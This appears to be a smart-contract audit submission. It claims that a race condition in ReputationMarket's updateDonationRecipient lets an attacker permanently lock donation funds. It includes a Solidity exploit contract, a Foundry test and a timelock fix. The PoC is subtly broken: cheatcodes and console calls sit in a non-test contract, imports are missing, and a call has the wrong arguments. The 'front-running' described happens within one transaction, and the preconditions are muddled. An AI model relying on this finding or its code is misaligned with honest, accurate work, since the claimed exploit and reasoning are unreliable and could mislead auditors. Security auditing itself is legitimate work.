Fun Crepe Lobster
Medium
Malicious users will permanently lock donation rewards through race condition in updateDonationRecipient
Missing donation transition handling in updateDonationRecipient() will cause fund locking vulnerability for market owners as malicious users will exploit transaction timing to trap new donations in inaccessible escrow accounts during recipient updates.
In ReputationMarket.sol:L510-L512 the atomic update of donation recipient and balance transfer causes race condition with incoming donations, leading to trapped funds.
- Original donation recipient needs to call updateDonationRecipient() to set donationEscrow[oldRecipient] to be at least 1 ETH
- Protocol admin needs to ensure donationBasisPoints to be greater than 0
- Market creator needs to set donationRecipient[profileId] to be exactly the oldRecipient address
- System needs to set donationEscrow[newRecipient] to be exactly 0
- Transaction needs to be mined within 2 blocks of the updateDonationRecipient call
- Front-running transaction needs to generate at least 0.1 ETH in donations
- Attacker calls buyVotes() with large position to generate pending donations
- Original recipient calls updateDonationRecipient() with new recipient address
- System processes donation update zeroing old balance
- System processes pending donations to old recipient address
- Original recipient loses access to new donations
The market owner suffers an approximate loss of 0.1-1 ETH in stuck donations. The attacker doesn't gain these funds but causes them to be permanently locked (griefing attack).
// SPDX-License-Identifier: MIT pragma solidity 0.8.26;
import {ReputationMarket} from "./ReputationMarket.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract DonationRecipientExploit { ReputationMarket public market;
constructor(address _market) {
market = ReputationMarket(_market);
}
function exploit(uint256 profileId, address oldRecipient, address newRecipient) external payable {
// Step 1: Front-run with large vote purchase to generate pending donations
market.buyVotes{value: 10 ether}(
profileId,
true, // isPositive
1000, // maxVotesToBuy
1 // minVotesToBuy
);
// Step 2: Original recipient updates donation recipient
// This would be called by the original recipient in a separate tx
vm.prank(oldRecipient);
market.updateDonationRecipient(profileId, newRecipient);
// Step 3: Check balances
uint256 oldRecipientBalance = market.donationEscrow(oldRecipient);
uint256 newRecipientBalance = market.donationEscrow(newRecipient);
console.log("Old recipient balance:", oldRecipientBalance);
console.log("New recipient balance:", newRecipientBalance);
// Any donations from Step 1 that were processed after the recipient update
// will be stuck in oldRecipient's escrow
require(oldRecipientBalance > 0, "Exploit failed - no stuck donations");
}
}
// Test script contract DonationRecipientTest is Test { ReputationMarket market; DonationRecipientExploit exploiter; address oldRecipient = address(0x1); address newRecipient = address(0x2); uint256 profileId = 1;
function setUp() public {
// Deploy and setup market contract
market = new ReputationMarket();
market.initialize(address(this), address(this), address(0), address(0), address(0));
// Setup market with donations enabled
market.setDonationBasisPoints(500); // 5%
market.createMarket{value: 1 ether}();
// Deploy exploiter
exploiter = new DonationRecipientExploit(address(market));
}
function testExploit() public {
// Initial donation to old recipient
vm.deal(address(exploiter), 10 ether);
exploiter.exploit{value: 10 ether}(profileId, oldRecipient, newRecipient);
// Verify old recipient has stuck donations
uint256 stuckDonations = market.donationEscrow(oldRecipient);
assertTrue(stuckDonations > 0, "No donations were stuck");
console.log("Stuck donations:", stuckDonations);
}
}
mapping(uint256 => UpdateRequest) public pendingUpdates; uint256 constant UPDATE_DELAY = 1 days;
struct UpdateRequest { address newRecipient; uint256 requestTime; }
function requestDonationRecipientUpdate(uint256 profileId, address newRecipient) public { // ... existing checks ... pendingUpdates[profileId] = UpdateRequest({ newRecipient: newRecipient, requestTime: block.timestamp }); }
function executeDonationRecipientUpdate(uint256 profileId) public { UpdateRequest memory request = pendingUpdates[profileId]; require(block.timestamp >= request.requestTime + UPDATE_DELAY, "Update not ready"); // ... execute update ... }